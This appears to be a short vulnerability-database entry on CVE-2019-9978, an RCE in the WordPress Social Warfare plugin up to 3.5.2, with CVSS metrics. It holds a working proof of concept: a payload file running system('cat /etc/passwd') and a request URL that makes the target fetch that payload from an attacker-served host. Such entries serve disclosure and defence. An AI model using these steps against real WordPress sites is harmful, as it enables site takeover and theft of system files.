CVE-2019-9978:
Social Warfare RCE
CVE-2019-9978 affects the WordPress Social Warfare / Social Warfare Pro plugin (fixed in 3.5.3) and is best known for a stored XSS issue via the swp_url parameter on a debug/options endpoint that was actively exploited in March 2019 (the CVE entry was published March 24, 2019). In real-world writeups and PoC tooling, the same vulnerable plugin versions (notably 3.5.0–3.5.2) were also shown to be exploitable in ways that can escalate to unauthenticated site compromise / remote code execution depending on configuration and attack chain, allowing attackers to take control of the WordPress site.
Create an exploit payload.txt like:
<pre>system('cat /etc/passwd')</pre>Serve your file with for example:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Visit http://$TARGET_IP/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://$LHOST:$LPORT/payload.txt
6.1
Medium risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Compexity
low
Privileges
none
Authentication
none
Affected
<= 3.5.2
Patched
>= 3.5.3